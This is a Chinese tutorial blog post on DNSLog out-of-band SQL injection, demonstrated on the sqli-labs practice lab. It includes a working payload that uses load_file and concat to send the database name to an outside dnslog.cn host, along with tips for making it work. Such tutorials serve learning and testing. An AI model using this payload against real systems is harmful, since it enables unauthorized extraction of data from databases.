zoukankan      html  css  js  c++  java
  • dnslog注入

    dnslog注入

    dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示,注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数,这个函数的目的是读取本地文件,也可以对外发送请求,利用这个函数,我们再使用concat函数将我们想要执行的语句和dnslog的网址拼接起来,就可以在网址的访问记录上查询到我们希望查询的内容。

    dnslog还可以使用在xss和命令执行上,简单来说,在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户访问的时候,将他的信息带回来,这个测试我会在后面进行详细说明。

    过程

    首先,我们找一个存在盲注的网站,这里我们用sqli-labs的第五关进行。

    然后我们要理解,dnslog主要是利用load_file函数来对外发起请求,然后利用concat函数拼接命令,得出payload

    and (select load_file(concat("//",(select database()),".4ozqke.dnslog.cn/abc"))) -- 
    

    点击执行,即可在dnslog平台收到我们想要的返回。

    可以看到,dns网址的高级域名,就是我们希望查询的内容。

    注意事项:

    1. dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。

    2. 在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。

    3. 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

  • 相关阅读:
    WinowsXP 任务栏无法显示当前运行程序图标
    日志记录组件[Log4net]详细介绍(转)
    桌面上的IE图标变成了快捷方式那种图标 怎么还原回来
    面试必须要知道的SQL语法,语句(转载)
    兼容 火狐 IE 的JS时间控件 任意格式 年月日时分秒
    Nagios远程监控软件的安装与配置详解(1)
    linux集群 负载均衡实验笔记
    PHPB2B 模板 标签
    PHP 去除 HTML 回车 换行 空格
    OpenX参考网址
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/13966667.html
Copyright © 2011-2022 走看看